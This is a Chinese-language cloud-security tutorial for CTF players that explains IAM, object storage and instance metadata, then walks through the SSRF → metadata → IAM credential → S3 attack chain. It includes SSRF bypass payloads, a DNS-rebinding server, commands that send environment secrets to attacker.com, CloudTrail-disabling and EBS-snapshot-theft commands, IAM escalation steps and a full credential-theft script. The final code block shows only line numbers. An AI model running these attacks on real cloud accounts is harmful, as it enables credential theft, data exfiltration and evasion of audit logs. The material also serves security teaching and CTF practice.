前言

云安全是一个庞大而复杂的话题,但对于 CTF 选手和渗透测试工程师来说,有一条非常经典的利用链贯穿了绝大多数云安全题目:SSRF → 元数据服务 → IAM 临时凭证 → 对象存储

本文将从零开始,梳理这条攻击链的每一个环节——先讲清楚 IAM、EC2、S3、VPC、元数据这些核心概念是什么,再深入剖析元数据 SSRF 的实际利用方法,最后延伸到对象存储攻防、Lambda 函数注入、EBS 快照窃取等进阶议题。文中配有大量可直接运行的代码示例,涵盖 bash、python 和 aws-cli。

无论你是第一次接触云安全的新手,还是想系统整理知识体系的熟手,这篇文章都希望能帮到你。


一、核心概念速查

1.1 IAM —— 云平台的门禁系统

一句话:IAM = “谁是谁” + “谁能干啥”。

IAM(Identity and Access Management)是云平台里管理身份和权限的核心服务。你可以把它理解为整个云平台的门禁系统 + 权限登记表。没有 IAM,任何人在云上可以做任何事情——这是不可接受的。

IAM 的核心由四部分组成:

1.1.1 IAM 用户(User)

IAM 用户分为两类:

  • 真人用户:通过密码 + MFA(多因素认证)登录 Web 控制台的管理员或开发者。
  • 程序用户:通过 Access Key(AK/SK)调用 API 的自动化脚本、CI/CD 流水线、后端服务等。

每个 IAM 用户有独立的凭证——真人有密码,程序有密钥对(Access Key ID + Secret Access Key)。最佳实践是永远不给真人用户创建 AK/SK,而是让他们通过 SSO 登录;程序用户只给 AK/SK,不给控制台登录权限。

1
2
3
4
# 创建只能通过 CLI/API 访问的程序用户
aws iam create-user --user-name ci-deployer
aws iam create-access-key --user-name ci-deployer
# 输出 AccessKeyId 和 SecretAccessKey,Secret 只在这里出现一次!

1.1.2 IAM 角色(Role)

角色是 IAM 里最灵活也最容易混淆的概念。你可以把角色理解成一个”权限马甲”——它本身没有密码也没有密钥,但可以被其他实体”穿上”。

  • 谁可以穿这个马甲? 由角色的信任策略(Trust Policy)定义。
  • 穿上之后能干什么? 由角色的权限策略(Permission Policy)定义。
  • 穿的方式:AWS 叫 AssumeRole,阿里云叫 AssumeRole,GCP 叫 Service Account Impersonation。

角色的典型用法:

  1. EC2 实例角色:EC2 实例”穿上”角色后,里面运行的程序自动获得该角色的权限,不需要手动配置 AK/SK。
  2. 跨账号授权:账号 A 创建一个角色,允许账号 B 的某个用户来扮演,这样账号 B 的用户可以临时访问账号 A 的资源。
  3. Lambda 执行角色:Lambda 函数运行时自动获得角色的权限。

1.1.3 IAM 组(Group)

IAM 组和 Linux 用户组的概念完全一致——把多个用户放进一个组里,然后给组分配权限,组内的用户自动继承这些权限。这样可以避免给每个用户逐一绑定策略。

1
2
3
4
# 创建开发组并附加只读策略
aws iam create-group --group-name Developers
aws iam attach-group-policy --group-name Developers --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess
aws iam add-user-to-group --group-name Developers --user-name alice

1.1.4 IAM 权限策略(Policy)

权限策略是一段 JSON,它精确地描述”谁可以对什么资源执行什么操作”。

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["s3:GetObject", "s3:ListBucket"],
"Resource": [
"arn:aws:s3:::my-bucket",
"arn:aws:s3:::my-bucket/*"
]
}
]
}

这段策略的含义是:允许对 my-bucket 这个桶进行列表操作,以及下载桶内的任意文件。

策略的几个关键字段:

  • EffectAllowDeny。显式 Deny 的优先级最高,覆盖一切 Allow。
  • Action:格式为 服务名:操作名,支持通配符 *。例如 s3:* 代表 S3 的所有操作。
  • Resource:资源的 ARN(Amazon Resource Name),支持通配符。
  • Condition(可选):限定条件,如来源 IP、时间、是否使用 MFA 等。

一个常见的安全隐患:给策略写 "Resource": "*" 或者 "Action": "*" 意味着这个策略可以对所有资源执行所有操作——这在生产环境中极其危险。很多 CTF 题目也正是利用了过度宽松的 IAM 权限来扩大攻击面。

1.2 EC2 / ECS / CVM —— 云虚拟机

云服务器实例,不同厂商有不同叫法:

厂商 名称
AWS EC2 (Elastic Compute Cloud)
阿里云 ECS (Elastic Compute Service)
腾讯云 CVM (Cloud Virtual Machine)
华为云 ECS (Elastic Cloud Server)
GCP Compute Engine
Azure Virtual Machines

计费方式:按实例运行时间(秒/小时)收费,加上磁盘、带宽等附加费用。

一个 EC2 实例启动时,你可以给它绑定一个 IAM 角色。一旦绑定,实例内部就可以通过元数据服务获取该角色的临时凭证——这正是 CTF 中 SSRF 攻击的关键环节。

1.3 S3 / OSS / COS / OBS —— 对象存储

对象存储是云上的文件仓库。它只存文件,不跑代码,你不能在桶里执行 PHP 或 Python。

厂商 名称
AWS S3 (Simple Storage Service)
阿里云 OSS (Object Storage Service)
腾讯云 COS (Cloud Object Storage)
华为云 OBS (Object Storage Service)
GCP Cloud Storage

核心概念

  • Bucket(桶):顶层命名空间,全局唯一名字。
  • Object(对象):桶里的文件,由 Key(路径)和 Value(数据)组成。
  • Key:就是文件路径,例如 images/2024/avatar.png
  • 访问控制:通过 IAM 策略、Bucket Policy、ACL 三层控制。

计费方式:按存储量(GB/月)+ 请求次数(PUT/GET 等)+ 外网下行流量收费。

安全要点:S3 桶的默认访问权限在 2023 年 4 月之后已改为私有(Block Public Access 默认开启),但在此之前创建的桶可能仍是公开的。而且,即使桶本身不公开,一个拥有 s3:PutObject 权限的角色也可能被攻击者利用来往桶里写入恶意文件,或者通过 PutObject ACL 将私有对象设为公开。

1.4 Lambda / 函数计算 —— 无服务器计算

云函数(也叫 Serverless Function 或 FaaS)是一个临时的执行环境,你把代码上传到云平台,它在你设定的触发条件下运行这段代码,运行完毕后环境销毁。

厂商 名称
AWS Lambda
阿里云 函数计算 FC
腾讯云 SCF (Serverless Cloud Function)
GCP Cloud Functions
Azure Azure Functions

计费方式:按执行次数 + 执行时长(毫秒级)收费。没有请求时完全不花钱。

安全特点

  • Lambda 函数绑定了执行角色,函数内部能获取该角色的临时凭证。
  • Lambda 的入口是事件(event),如果代码没有对输入做充分的校验,就可能存在注入漏洞。
  • Lambda 的临时存储 /tmp 最大 512 MB,可以在同一次执行的生命周期内跨请求共享。
  • Lambda 的环境变量常被用来存储数据库连接字符串、API Key 等敏感信息——如果函数有 SSRF 或命令执行漏洞,这些信息就可能泄漏。

1.5 VPC —— 虚拟私有云

VPC(Virtual Private Cloud)就是你在云上自己划出来的一块内网。你在这个内网里开 EC2、RDS、Redis 等资源,它们默认不暴露在公网上。

安全关键点

  • 元数据服务(169.254.169.254)在 VPC 内是一个特殊地址,只有从 VPC 内的实例访问才能拿到 token。
  • 如果你攻陷了 VPC 内的某台主机,就可以横向移动访问同 VPC 内的其他资源,比如内网数据库、内网 Redis 等。
  • SSRF 攻击正是利用了”目标应用在 VPC 内的 EC2 上运行”这一条件,使得攻击者能够从应用服务器内部访问 169.254.169.254,从而获取 IAM 凭证。

1.6 元数据(Metadata)—— 数据的数据

元数据 = 描述数据的数据

举个例子:你的 EC2 实例上有一张 cat.jpg

  • 数据本身:图片的二进制内容(像素信息);
  • 元数据:文件名、文件大小、创建时间、文件权限(rwx)、存储位置(本地磁盘还是 S3)。

在云安全的语境下,**”元数据”通常特指云实例元数据服务(Instance Metadata Service, IMDS)**。每个云虚拟机内部都有一个特殊的 HTTP 端点,程序访问这个端点就能获取关于当前实例的各类信息——包括远比文件属性更敏感的内容。

元数据服务能返回的信息包括但不限于:

  • 实例 ID、实例类型、可用区、内网 IP、公网 IP
  • 临时 IAM 凭证(AccessKeyId、SecretAccessKey、Token) —— 这是最致命的一条
  • 用户自定义数据(User Data),可能在启动时注入了密码或配置
  • SSH 公钥
  • 网络接口 MAC 地址

不同云厂商的元数据服务地址

云平台 元数据服务地址 备注
AWS 169.254.169.254 需要 PUT 请求获取 Token(IMDSv2),但很多环境仍支持 IMDSv1(无 Token)
阿里云 100.100.100.200 默认无认证需求
GCP metadata.google.internal 需要 Metadata-Flavor: Google Header
Azure 169.254.169.254 需要 Metadata: true Header
腾讯云 metadata.tencentyun.com169.254.0.23 需要 Header 校验
华为云 169.254.169.254 需要 Header 校验
DigitalOcean 169.254.169.254 无认证需求

二、三大云厂商元数据服务对比

2.1 访问方式对比

AWS

AWS 元数据服务有两个版本:

IMDSv1(老版本,无 Token 验证)

1
2
# 直接 GET 即可,无需认证
curl http://169.254.169.254/latest/meta-data/

IMDSv2(新版本,需要 Token)

1
2
3
4
5
6
7
# 第一步:获取 Token(PUT 请求,TTL 最长为 21600 秒即 6 小时)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# 第二步:用 Token 访问元数据
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/

关键:IMDSv1 是 SSRF 攻击起作用的前提。IMDSv2 强制要求 PUT 请求来获取 Token,而大多数 SSRF 漏洞只能发 GET 请求,这就天然阻断了攻击链。这也是为什么 AWS 强烈建议所有用户升级到 IMDSv2。

阿里云

阿里云的元数据服务地址是 100.100.100.200,默认不需要 Token:

1
2
# 直接访问即可
curl http://100.100.100.200/latest/meta-data/

注意:阿里云也支持 Token 模式,但默认不强制。你可以通过实例元数据选项来启用”仅 Token 模式”。

GCP

GCP 使用域名 metadata.google.internal,必须带特定 Header:

1
2
curl "http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true" \
-H "Metadata-Flavor: Google"

GCP 的请求要求:

  1. 必须带 Metadata-Flavor: Google Header
  2. 不允许 X-Forwarded-For Header(防止代理请求)

这在一定程度上增加了 SSRF 利用的难度,但并未完全杜绝——因为攻击者可以通过 gopher、dict 等协议构造带 Header 的 HTTP 请求。

2.2 关键端点一览

信息 AWS 阿里云 GCP
根路径 /latest/meta-data/ /latest/meta-data/ /computeMetadata/v1/
IAM 角色名 /latest/meta-data/iam/security-credentials/ /latest/meta-data/ram/security-credentials/ /computeMetadata/v1/instance/service-accounts/
IAM 凭证 /latest/meta-data/iam/security-credentials/<role> /latest/meta-data/ram/security-credentials/<role> /computeMetadata/v1/instance/service-accounts/<sa>/token
实例 ID /latest/meta-data/instance-id /latest/meta-data/instance/instance-id /computeMetadata/v1/instance/id
内网 IP /latest/meta-data/local-ipv4 /latest/meta-data/private-ipv4 /computeMetadata/v1/instance/network-interfaces/0/ip
公网 IP /latest/meta-data/public-ipv4 /latest/meta-data/eipv4 /computeMetadata/v1/instance/network-interfaces/0/access-configs/0/external-ip
SSH 密钥 /latest/meta-data/public-keys/0/openssh-key /latest/meta-data/public-keys/0/openssh-key /computeMetadata/v1/instance/attributes/ssh-keys
用户数据 /latest/user-data/ /latest/user-data/ /computeMetadata/v1/instance/attributes/startup-script

三、元数据 SSRF 利用链

3.1 攻击链全景

这是云安全 CTF 中最经典、最高频的一条攻击链:

1
2
3
4
5
6
7
8
9
10
11
SSRF 漏洞

访问 169.254.169.254(或其他元数据地址)

获取 IAM 角色名称

获取该角色的临时凭证(AK/SK/Token)

使用凭证访问云服务(S3、DynamoDB、Lambda 等)

读取 flag 或进一步利用

3.2 为什么能打?

前提条件:

  1. 目标应用运行在云虚拟机(EC2/ECS)上
  2. 该云虚拟机绑定了 IAM 角色
  3. 元数据服务使用 IMDSv1(或攻击者能构造 PUT 请求)
  4. 目标存在 SSRF 漏洞,允许攻击者指定任意 URL

SSRF 本质上就是让服务器代替你去请求一个内部地址。而 169.254.169.254 正是 VPC 内部才可达的地址——所以无论是 PHP 的 file_get_contents()、Java 的 HttpURLConnection、还是 Python 的 requests.get(),只要目标能从漏洞触发点发起 HTTP 请求,它就能访问元数据服务。

3.3 手动利用步骤

Step 1:确认元数据服务可达

1
2
# 通过 SSRF 访问
http://169.254.169.254/latest/meta-data/

正常返回类似:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/

如果能看到这个目录列表,恭喜你——元数据服务是可访问的。

Step 2:获取 IAM 角色名称

1
2
3
4
5
# AWS
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 阿里云
http://100.100.100.200/latest/meta-data/ram/security-credentials/

返回角色名称(通常是一个字符串,例如 ctf-s3-roleecs-instance-role)。

Step 3:获取临时凭证

1
2
3
4
5
# AWS
http://169.254.169.254/latest/meta-data/iam/security-credentials/<角色名>

# 阿里云
http://100.100.100.200/latest/meta-data/ram/security-credentials/<角色名>

返回 JSON:

1
2
3
4
5
6
7
8
9
{
"Code": "Success",
"LastUpdated": "2024-08-15T10:30:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAXXXXXXXXXXXX",
"SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"Token": "IQoJb3JpZ2luX2Vj...(很长的 Base64 字符串)",
"Expiration": "2024-08-15T16:30:00Z"
}

Step 4:使用凭证操作云资源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 配置凭证(环境变量方式,不需要修改 ~/.aws/credentials)
export AWS_ACCESS_KEY_ID=ASIAXXXXXXXXXXXX
export AWS_SECRET_ACCESS_KEY=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2Vj...

# 列出 S3 桶
aws s3 ls

# 列出桶里的对象
aws s3 ls s3://target-bucket/

# 下载 flag
aws s3 cp s3://target-bucket/flag.txt ./

# 查看当前身份
aws sts get-caller-identity

3.4 SSRF 绕过技巧

实际攻击环境中,目标应用可能对 SSRF 做了防御,常见绕过方法:

进制转换绕过 IP 过滤

如果目标过滤了 169.254.169.254 字符串,可以尝试各种 IP 表示方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 十进制整数
http://2852039166/

# 十六进制
http://0xa9.0xfe.0xa9.0xfe/

# 八进制
http://0251.0376.0251.0376/

# 混合进制
http://0xa9.0251.0xfe.0376/

# URL 短链接跳转(需要互联网可达)
http://short.link/abc → 302 → 169.254.169.254

# DNS 重绑定(需要控制 DNS)
# 第一次解析返回合法 IP,第二次解析返回 169.254.169.254

重定向绕过

如果目标应用使用 curl 并加了 --max-redirs 0,但服务端有 302 跳转跟踪:

1
2
# attacker.com/redirect 返回 302 Location: http://169.254.169.254/...
# 通过 SSRF 请求 attacker.com,服务跟踪重定向到达元数据

DNS Rebinding

这是最高级也最可靠的绕过方式:

  1. 攻击者控制域名 evil.com 的 DNS 服务器
  2. 第一次 DNS 查询:evil.com → 攻击者自己的 IP(1.2.3.4),TTL 设极短如 1 秒
  3. 目标服务器校验 evil.com 是否等于内网 IP → 不等,通过检查
  4. 目标服务器发起 HTTP 连接,DNS 缓存已过期,重新查询
  5. 第二次 DNS 查询:evil.com169.254.169.254
  6. HTTP 请求发往了元数据服务,攻击成功
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 简单的 DNS Rebinding 服务(Python + dnslib)
# 第一次查询返回你的 VPS IP,第二次查询返回 169.254.169.254
from dnslib import DNSRecord, RR, A, QTYPE
import socket

# 轮替返回两个 IP
responses = ["1.2.3.4", "169.254.169.254"]
counter = [0]

def handler(data, addr):
req = DNSRecord.parse(data)
qname = str(req.q.qname)
ip = responses[counter[0] % 2]
counter[0] += 1
reply = req.reply()
reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=1))
return reply.pack()

IPv6 绕过

如果目标实例开启了 IPv6 且元数据服务也监听了 IPv6:

1
2
# AWS 元数据服务的 IPv6 地址
http://[fd00:ec2::254]/latest/meta-data/

利用 HTTP Header Injection

有些 HTTP 客户端库在解析 URL 时会将 \r\n 解释为换行,允许注入 Header:

1
2
# 假设原始 URL 参数会被代入
http://attacker.com/%0d%0aX-Forwarded-For:%20169.254.169.254%0d%0a

四、S3 / 对象存储攻防

4.1 公开桶扫描

虽然 AWS 从 2023 年 4 月起将 Block Public Access 设为默认开启,但仍有大量老桶是公开的,或在配置中无意间开放。

扫描手法

1
2
3
4
5
# 使用 aws-cli 探测桶是否公开
aws s3 ls s3://company-backup --no-sign-request

# 如果返回目录列表,说明桶是公开的
# 如果返回 AccessDenied,说明桶是私有的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 批量扫描常见桶名
import subprocess

with open("wordlist.txt") as f:
for line in f:
bucket = line.strip()
# 使用 --no-sign-request 表示不签名(匿名访问)
result = subprocess.run(
["aws", "s3", "ls", f"s3://{bucket}", "--no-sign-request"],
capture_output=True, text=True
)
if "AccessDenied" not in result.stderr and result.returncode == 0:
print(f"[PUBLIC] {bucket}")
print(result.stdout)

常见的桶名字典:

1
2
3
4
5
6
7
8
9
10
11
backup
dev
test
static
assets
logs
data
config
database-backup
terraform-state
cloudformation-templates

一个公司的桶命名通常为:<公司名>-<环境>-<用途>,例如 acme-prod-assetsacme-dev-logs。所以当你拿到一个公司名称后,可以尝试枚举这些组合。

4.2 PutObject ACL 绕过

如果你通过 SSRF 拿到了一个 IAM 角色的凭证,而这个角色没有 s3:GetObject 但有 s3:PutObjects3:PutObjectAcl 权限——那么你虽然不能直接读文件,但可以把文件”盖”成公开的,然后通过 HTTP(S) 公网 URL 直接下载。

PutObjectAcl 允许你在上传对象时指定其 ACL(访问控制列表):

1
2
# 上传一个文件,并将其 ACL 设置为 public-read
aws s3 cp malicious.txt s3://target-bucket/flag.txt --acl public-read

但如果目标桶原来的 flag.txt 你读不了,那你也没法去”覆盖”它——因为要覆盖意味着你需要上传同 Key 的文件。真正的利用场景是:

场景一:利用 ACL 修改已有对象的权限

1
2
3
4
5
6
7
8
# 直接修改已有对象的 ACL,使其公开可读
aws s3api put-object-acl \
--bucket target-bucket \
--key secret/flag.txt \
--acl public-read

# 然后通过 HTTPS 直接访问
curl https://target-bucket.s3.amazonaws.com/secret/flag.txt

场景二:上传新文件来控制 ACL

如果目标只允许 PutObject 到特定前缀(例如 uploads/),你可以上传一个文件并设 ACL:

1
aws s3 cp proof.html s3://target-bucket/uploads/proof.html --acl public-read

如果桶开启了静态网站托管,你甚至可以上传一个 HTML 来执行 XSS,或者上传一个 PHP(虽然 S3 不执行 PHP,但可以通过某些 CloudFront 配置绕过)。

4.3 签名 URL 泄露

S3 支持预签名 URL(Pre-signed URL),允许有权限的用户生成一个临时有效的下载链接给其他人。

1
2
3
4
5
6
7
8
9
10
11
12
# 生成预签名 URL(有效期 3600 秒)
aws s3 presign s3://my-bucket/secret.pdf --expires-in 3600

# 输出类似:
# https://my-bucket.s3.amazonaws.com/secret.pdf
# ?X-Amz-Algorithm=AWS4-HMAC-SHA256
# &X-Amz-Credential=ASIA.../us-east-1/s3/aws4_request
# &X-Amz-Date=20240815T120000Z
# &X-Amz-Expires=3600
# &X-Amz-SignedHeaders=host
# &X-Amz-Security-Token=IQo...
# &X-Amz-Signature=abcd1234...

如果这个预签名 URL 通过日志、错误消息、Git 提交记录等途径泄露,任何拿到这个 URL 的人都可以在有效期内自由下载该文件——不需要任何 AWS 凭证。

危害:如果生成的是有 PutObject 权限的预签名 URL(用于上传),那么攻击者可以上传任意文件到桶里。

1
2
3
4
5
6
# 生成上传预签名 URL
aws s3 presign s3://my-bucket/uploads/ --expires-in 3600

# 攻击者可以用这个 URL 上传恶意文件
curl -X PUT "https://my-bucket.s3.amazonaws.com/uploads/shell.php" \
--data-binary @shell.php

4.4 桶策略配置错误

桶策略(Bucket Policy)是附加在桶上的 IAM 策略,控制谁能访问这个桶。一个常见的错误是策略的 Principal 字段设为了 "*" 或者 {"AWS": "*"}——这意味着互联网上的任何人都可以执行策略中定义的操作。

1
2
3
4
5
6
7
8
9
10
11
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": ["s3:GetObject", "s3:ListBucket"],
"Resource": ["arn:aws:s3:::public-data", "arn:aws:s3:::public-data/*"]
}
]
}

上面这个桶策略没有问题——它确实是想把 public-data 公开。但下面这个就有问题了:

1
2
3
4
5
6
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:*",
"Resource": "*"
}

"s3:*" + "Resource": "*" —— 这是把自己的整个 S3 暴露给了全世界。

还有更隐蔽的错误Condition 写错了。

1
2
3
4
5
6
7
8
9
10
11
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::internal-docs/*",
"Condition": {
"StringEquals": {
"aws:SourceVpc": "vpc-12345678"
}
}
}

开发者本意是限制为只有 VPC 内能访问,但 aws:SourceVpc 这个条件键实际上只在特定服务中存在(如 VPC Endpoint),对于直接通过 S3 公网 API 的请求,这个条件不会被评估,于是条件形同虚设。


五、其他云服务攻击面

5.1 Lambda 函数注入

Lambda 函数由事件驱动。如果函数代码直接使用了事件中的用户输入而没有过滤,就可能存在注入。

典型漏洞代码(Python)

1
2
3
4
5
6
7
8
9
10
11
import json
import subprocess

def lambda_handler(event, context):
filename = event['queryStringParameters']['file']
# 危险!直接拼接用户输入到 shell 命令
result = subprocess.check_output(f"cat /var/data/{filename}", shell=True)
return {
'statusCode': 200,
'body': json.dumps({'content': result.decode()})
}

攻击者可以通过 SSRF 或直接 HTTP 访问 Lambda 的 API Gateway 端点来注入命令:

1
GET /?file=secret.txt;curl http://attacker.com/$(env|base64)

因为 Lambda 在受限环境中运行,环境变量中通常包含了数据库密码、API 密钥等敏感信息。这个 payload 会将所有环境变量 Base64 编码后通过 curl 外带出去。

更隐蔽的攻击——Lambda 层投毒

如果 Lambda 使用了自定义 Layer 或依赖包,而攻击者能够控制这些依赖的来源(例如通过依赖混淆攻击),那么恶意代码可能在每次 Lambda 执行时运行。

5.2 Lambda 临时凭证窃取

Lambda 函数在执行时,临时凭证存储在环境变量中:

1
2
3
4
# Lambda 函数内部
echo $AWS_ACCESS_KEY_ID
echo $AWS_SECRET_ACCESS_KEY
echo $AWS_SESSION_TOKEN

如果你通过命令注入进了 Lambda 的执行环境,直接读环境变量即可拿到这些凭证。而且 Lambda 的执行角色通常权限不小——毕竟它要正常运行就得访问数据库、读写 S3 等。

利用套路

1
2
3
4
# 通过 SSRF 触发 Lambda → 命令注入 →
# 读取环境变量 → 拿到 AK/SK/Token →
# 在攻击者本地用 aws-cli 配置这些凭证 →
# 以 Lambda 角色的权限操作云资源

5.3 CloudTrail 日志清理

CloudTrail 是 AWS 的审计日志服务,记录所有 API 调用。攻击者如果能删除或停用 CloudTrail,就能隐蔽自己的踪迹。

1
2
3
4
5
6
7
8
# 列出当前 Trail
aws cloudtrail describe-trails

# 停止 Trail 记录
aws cloudtrail stop-logging --name my-trail

# 删除 Trail(需要权限)
aws cloudtrail delete-trail --name my-trail

但这么做太明显了——“日志突然中断”本身就是告警信号。更隐蔽的做法是选择性删除特定的日志条目,或者通过 CloudTrail 的 exclude-management-event-sources 来悄悄关闭对特定服务的监控。

5.4 EBS 快照窃取

EBS(Elastic Block Store)是 EC2 的虚拟磁盘。EBS 快照是磁盘在某一时刻的完整拷贝。

如果攻击者拿到了一个有 ec2:CreateSnapshotec2:DescribeSnapshots 权限的角色:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 1. 找到目标 EC2 的根卷 ID
aws ec2 describe-instances --instance-ids i-xxxxxxxxx \
--query 'Reservations[0].Instances[0].BlockDeviceMappings'

# 2. 创建快照
aws ec2 create-snapshot --volume-id vol-xxxxxxxxx \
--description "backup-snapshot"

# 3. 修改快照权限,共享给攻击者自己的 AWS 账号
aws ec2 modify-snapshot-attribute --snapshot-id snap-xxxxxxxxx \
--attribute createVolumePermission \
--operation-type add \
--user-ids 123456789012

# 4. 在攻击者自己的账号里,从共享快照创建卷
aws ec2 create-volume --snapshot-id snap-xxxxxxxxx \
--availability-zone us-east-1a

# 5. 挂载卷到攻击者的 EC2,直接读取磁盘内容
# 可以获取到 /etc/passwd、私钥、配置文件、数据库文件等

这个攻击非常隐蔽,因为攻击者不需要 SSH 登录目标机器就能拿到整个磁盘的完整拷贝。

5.5 账号劫持与提权

场景:从只读权限到完全控制

假设你拿到的 IAM 角色只有 iam:GetRoleiam:ListRoles,看起来没什么用。但如果它有 iam:PassRoleec2:RunInstances

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. 查看当前有什么角色
aws iam list-roles

# 2. 找一个高权限角色(例如 AdminRole)
# 3. 启动一个新 EC2 实例,传入高权限角色的 Instance Profile
aws ec2 run-instances \
--image-id ami-xxxxxxxxx \
--instance-type t2.micro \
--iam-instance-profile Name=AdminRole \
--user-data "#!/bin/bash\ncurl http://attacker.com/\$(cat /proc/self/environ | base64)" \
--subnet-id subnet-xxxxxxxxx

# 4. 新 EC2 以 AdminRole 角色运行
# 5. 通过 User Data 反弹 shell 或外带凭证

场景:iam:CreatePolicyVersion 提权

如果角色有 iam:CreatePolicyVersion 权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. 查看当前附加的策略
aws iam list-attached-role-policies --role-name MyRole

# 2. 为策略创建一个新版本,把权限改成 Admin
aws iam create-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/MyPolicy \
--policy-document file://admin.json \
--set-as-default

# admin.json 内容:
# {"Version": "2012-10-17", "Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*"}]}

# 3. 现在角色已经拥有 Admin 权限
aws s3 ls # 通通都能访问了

六、完整的 CTF 攻击脚本示例

6.1 基础版:SSRF → 元数据 → S3

适用于最简单的题型:目标存在 SSRF,可以直接 GET 元数据,IMDSv1。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/env python3
"""
CTF 云安全入门脚本
SSRF → Metadata → IAM Credentials → S3 文件读取
"""

import requests
import json
import subprocess
import sys

# ============= 配置区 =============
SSRF_URL = "http://target.ctf.com/fetch?url=" # SSRF 端点
METADATA_BASE = "http://169.254.169.254/latest/meta-data/"

# ============= 第一步:通过 SSRF 访问元数据根路径 =============
def ssrf_get(path):
"""通过 SSRF 发起 HTTP GET 请求"""
url = SSRF_URL + path
resp = requests.get(url, timeout=10)
return resp.text.strip()

print("[*] Step 1: 检查元数据服务是否可达...")
try:
metadata_root = ssrf_get(METADATA_BASE)
print(f"[+] 元数据服务可达!内容:\n{metadata_root[:500]}")
except Exception as e:
print(f"[-] 元数据服务不可达: {e}")
sys.exit(1)

# ============= 第二步:获取 IAM 角色名称 =============
print("\n[*] Step 2: 获取 IAM 安全凭证角色名...")
iam_path = METADATA_BASE + "iam/security-credentials/"
role_list = ssrf_get(iam_path)
print(f"[+] 角色名称:{role_list}")

# 可能有多个角色,取第一个
role_name = role_list.split("\n")[0].strip()
print(f"[*] 使用角色:{role_name}")

# ============= 第三步:获取角色临时凭证 =============
print("\n[*] Step 3: 获取 IAM 临时凭证...")
creds_url = iam_path + role_name
creds_json = ssrf_get(creds_url)
creds = json.loads(creds_json)

access_key = creds["AccessKeyId"]
secret_key = creds["SecretAccessKey"]
session_token = creds["Token"]

print(f"[+] AccessKeyId: {access_key}")
print(f"[+] SecretAccessKey: {secret_key[:10]}...(已截断)")
print(f"[+] Token: {session_token[:30]}...(已截断)")
print(f"[+] 过期时间: {creds.get('Expiration', 'N/A')}")

# ============= 第四步:利用凭证枚举 S3 资源 =============
print("\n[*] Step 4: 配置凭证并枚举 S3 桶...")

# 设置环境变量
env = {
**__import__("os").environ,
"AWS_ACCESS_KEY_ID": access_key,
"AWS_SECRET_ACCESS_KEY": secret_key,
"AWS_SESSION_TOKEN": session_token,
"AWS_DEFAULT_REGION": "us-east-1",
}

# 列出 S3 桶
result = subprocess.run(
["aws", "s3", "ls"],
capture_output=True, text=True, env=env
)
buckets = result.stdout.strip()
print(f"[+] 可访问的桶:\n{buckets}")

# ============= 第五步:遍历桶内容,寻找 flag =============
print("\n[*] Step 5: 搜索 flag...")

for line in buckets.split("\n"):
if not line.strip():
continue
# aws s3 ls 输出格式: "2024-01-01 00:00:00 bucket-name"
bucket_name = line.split()[-1]

# 列出桶内对象
result = subprocess.run(
["aws", "s3", "ls", f"s3://{bucket_name}/", "--recursive"],
capture_output=True, text=True, env=env
)
objects = result.stdout.strip()
print(f"\n[+] 桶 [{bucket_name}] 内容:\n{objects}")

# 查找 flag
for obj_line in objects.split("\n"):
if "flag" in obj_line.lower():
# 提取文件路径
key = " ".join(obj_line.split()[3:]) # 跳过日期、时间、大小
print(f"\n[!!!] 发现 flag 文件: s3://{bucket_name}/{key}")

# 下载 flag
result = subprocess.run(
["aws", "s3", "cp", f"s3://{bucket_name}/{key}", "./flag.txt"],
capture_output=True, text=True, env=env
)
print(f"[!!!] Flag 已下载到 ./flag.txt")
with open("flag.txt") as f:
print(f"[!!!] Flag 内容: {f.read()}")
sys.exit(0)

print("[-] 未找到 flag")

6.2 进阶版:多厂商兼容 + SSRF 绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
